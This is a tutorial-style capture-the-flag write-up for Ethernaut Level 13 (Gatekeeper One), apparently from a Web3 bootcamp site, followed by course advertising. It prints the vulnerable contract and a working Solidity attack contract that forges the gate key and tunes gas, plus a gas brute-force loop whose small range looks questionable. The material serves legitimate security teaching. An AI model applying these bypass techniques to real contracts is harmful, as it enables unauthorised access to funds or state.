Skip links

Table of Contents

Ethernaut Challenge 13 Walkthrough: Gatekeeper One

Challenge 13: Gatekeeper One, also known as Ethernaut Level 13, stands out because it necessitates a thorough understanding of Ethereum transactions and gas mechanics. This article will delve into the GatekeeperOne contract, identify its vulnerabilities, and explain how the Attack contract effectively exploits these weaknesses. Participants need to demonstrate advanced knowledge of smart contract security to overcome this challenge.

Ethernaut Challenge 13: A Case Study

To illustrate the complexities of Ethereum transactions and gas mechanics, let’s examine a solution to Ethernaut Challenge 13. In this challenge, participants are tasked with bypassing multiple checks to interact with a contract.

The Gatekeeper One Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

Modifier Analysis

  1. gateOne(): This modifier ensures that the caller of the function is a contract and not a regular externally owned account (EOA). It checks that msg.sender is not equal to tx.origin.
modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
}
  1. gateTwo(): This modifier checks that the remaining gas is a multiple of 8191. This check is particularly tricky because it requires precise gas management.
modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
}
  1. gateThree(): This modifier imposes three constraints on a 64-bit key (_gateKey):
  • The lower 32 bits of the key must equal the lower 16 bits of the key.
  • The key must not be equal to the lower 32 bits of the key.
  • The lower 16 bits of the key must equal the lower 16 bits of the caller’s (tx.origin) address.
modifier gateThree(bytes8 _gateKey) {
    require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
    require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
    require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
}

The Attack Contract

To successfully call the enter function in GatekeeperOne, an attacker must satisfy all three gate conditions. Let’s look at the Attack contract designed to bypass these gates:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
    GatekeeperOne target;

    constructor(GatekeeperOne _target) {
        target = _target;
    }

    function hack(uint256 gas) external {
        uint64 uintKey = uint64(uint160(address(msg.sender)));
        bytes8 key = bytes8(uintKey) & 0xFFFFFFFF0000FFFF;

        (bool sent,) = address(target).call{gas: gas}(abi.encodeWithSignature("enter(bytes8)", key));
        require(sent, "Transaction failed");
    }
}

Attack Strategy

  1. gateOne: To bypass this gate, the attack must come from a contract, which is inherent to our Attack contract.
  2. gateTwo: The gasleft() % 8191 == 0 check requires careful manipulation of the gas. This is managed by passing a specific gas amount to the hack function.
  3. gateThree: As mentioned in the Modifier Analysis, the attack contract constructs a key that satisfies all three parts of gateThree:
  • uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)): Ensures the lower 32 bits of the key equal the lower 16 bits.
  • uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)): Ensures the lower 16 bits of the key match the lower 16 bits of the caller’s address.
  • uint32(uint64(_gateKey)) != uint64(_gateKey): This ensures the key isn’t simply the lower 32 bits. The lower 8 bytes (64 bits) of the key must be different from the lower 4 bytes (32 bits). This means that while satisfying the first requirement, the entire lower 8 bytes must not be the same as the lower 4 bytes.

To achieve this, we need to ensure that the upper 4 bytes of the 8-byte key differ from the lower 4 bytes. However, we still need to meet the first requirement. Therefore, we need to modify our mask to allow the upper 4 bytes to pass through unchanged. The new mask becomes 0xFFFFFFFF0000FFFF, which zeroes out only the higher 2 bytes of the lower 4 bytes while preserving the upper 4 bytes.

ethernaut challenge 13, gatekeeper one

Constructing the Key

To create a key that satisfies these conditions, the following steps are taken:

  • Convert the caller’s address to a uint160.
  • Then convert it to a uint64, retaining only the lower 8 bytes.
  • Apply the mask 0xFFFFFFFF0000FFFF to zero out the higher 2 bytes of the lower 4 bytes while preserving the upper 4 bytes.
bytes8 key = bytes8(uint64(uint160(address(msg.sender)))) & 0xFFFFFFFF0000FFFF;

This ensures that:

  1. The lower 2 bytes of the key are equal to the lower 4 bytes of the key.
  2. The key’s lower 8 bytes are not simply a repetition of the lower 4 bytes.
  3. The key’s lower 2 bytes match the lower 2 bytes of the caller’s address.

Execution

To execute the attack, the attacker needs to carefully choose the gas amount and call the hack function:

function hack(uint256 gas) external {
    uint64 uintKey = uint64(uint160(address(msg.sender)));
    bytes8 key = bytes8(uintKey) & 0xFFFFFFFF0000FFFF;

    (bool sent,) = address(target).call{gas: gas}(abi.encodeWithSignature("enter(bytes8)", key));
    require(sent, "Transaction failed");
}

Gas Calculation

The exact gas amount required to satisfy gateTwo can be determined through trial and error or by inspecting the gas cost of the operations up to the gasleft() % 8191 check. Typically, the process involves making multiple attempts with slightly different gas values until the condition is met. The gas costs can vary depending on the Solidity compiler version used to compile the code. However, we can find the required gas by writing a test using a forked local test environment that includes:

for (uint256 i = 200; i <= 8191; i++) {
    try attack.hack(i) {
        console.log("gas required ->", i);
        break;
    } catch {}
}

Conclusion

The GatekeeperOne challenge highlights the complexities of Ethereum’s gas mechanics and the critical role of understanding how modifiers and low-level function calls interact. By meticulously designing the Attack contract, an attacker can circumvent all the gates and successfully invoke the enter function, demonstrating the advanced problem-solving skills and strategic thinking necessary for smart contract security. This challenge emphasizes the importance of comprehensive testing and careful consideration of edge cases when developing smart contracts, ensuring that all potential vulnerabilities are addressed.

faq

FAQs

How does the use of modifiers enhance contract security?

  • Modifiers enhance contract security by allowing developers to encapsulate common checks and conditions that must be met before executing a function. This modular approach helps ensure that certain constraints are consistently enforced, reducing the risk of vulnerabilities.

How does the choice of Solidity compiler version affect gas costs?

  • Gas costs can vary depending on the Solidity compiler version used and the specific compiler flags applied during the compilation process. Different versions and flags can optimize code differently, affecting the overall gas consumption of transactions.

How does this challenge help in understanding Ethereum security?

  • This challenge helps in understanding Ethereum security by illustrating how different security mechanisms like modifiers can be combined to protect contract functions. It also highlights the importance of gas management and the potential for bypassing security checks through careful planning and execution.

What happens if the require statement in hack fails?

  • If the require statement in hack fails, the transaction reverts with the error message “Transaction failed.” This prevents the attack from silently failing and provides immediate feedback that the attempt was unsuccessful.

Why is thorough testing important when designing smart contracts?

  • Thorough testing is crucial because it helps identify and mitigate potential vulnerabilities, ensuring that all edge cases and attack vectors are considered and addressed. This reduces the risk of exploits and enhances the overall security of the contract.


Metana Guarantees a Job 💼

Plus Risk Free 2-Week Refund Policy ✨

You’re guaranteed a new job in web3—or you’ll get a full tuition refund. We also offer a hassle-free two-week refund policy. If you’re not satisfied with your purchase for any reason, you can request a refund, no questions asked.

Web3 Solidity Bootcamp

The most advanced Solidity curriculum on the internet!

Full Stack Web3 Beginner Bootcamp

Learn foundational principles while gaining hands-on experience with Ethereum, DeFi, and Solidity.

You may also like

Metana Guarantees a Job 💼

Plus Risk Free 2-Week Refund Policy

You’re guaranteed a new job in web3—or you’ll get a full tuition refund. We also offer a hassle-free two-week refund policy. If you’re not satisfied with your purchase for any reason, you can request a refund, no questions asked.

Web3 Solidity Bootcamp

The most advanced Solidity curriculum on the internet

Full Stack Web3 Beginner Bootcamp

Learn foundational principles while gaining hands-on experience with Ethereum, DeFi, and Solidity.

Learn foundational principles while gaining hands-on experience with Ethereum, DeFi, and Solidity.

Events by Metana

Dive into the exciting world of Web3 with us as we explore cutting-edge technical topics, provide valuable insights into the job market landscape, and offer guidance on securing lucrative positions in Web3.

Start Your Application

Secure your spot now. Spots are limited, and we accept qualified applicants on a first come, first served basis..

Career Track(Required)

The application is free and takes just 3 minutes to complete.

What is included in the course?

Expert-curated curriculum

Weekly 1:1 video calls with your mentor

Weekly group mentoring calls

On-demand mentor support

Portfolio reviews by Design hiring managers

Resume & LinkedIn profile reviews

Active online student community

1:1 and group career coaching calls

Access to our employer network

Job Guarantee